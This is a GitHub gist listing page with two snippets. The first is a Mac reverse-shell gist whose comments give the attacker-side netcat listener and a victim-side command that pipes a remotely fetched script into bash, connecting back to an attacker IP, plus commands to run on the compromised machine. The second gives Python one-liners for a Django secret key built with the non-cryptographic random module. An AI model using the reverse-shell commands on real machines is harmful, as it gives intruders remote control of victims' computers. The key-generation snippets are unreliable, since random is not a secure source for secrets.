Skip to content

Instantly share code, notes, and snippets.

@rub1cc
rub1cc / reverse-shell.sh
Created April 8, 2021 07:53 — forked from mattes/reverse-shell.sh
Reverse Shell Mac
#!/usr/bin/env bash
# run `nc -nvl 80` on attacker machine first
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine
# great commands to run:
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg
# open /tmp/monkey.jpg
# * say hello
# * open http://lmgtfy.com/?q=how+to+lock+mac
# * ls
@rub1cc
rub1cc / commandline.md
Last active June 3, 2019 14:23 — forked from sandervm/commandline.txt
Generate Django secret key commandline

for python 2

python -c 'import random; print "".join([random.choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)") for i in range(50)])'

for python 3 and above

python -c 'import random; print("".join([random.choice("abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&amp;*(-_=+)") for i in range(50)]))'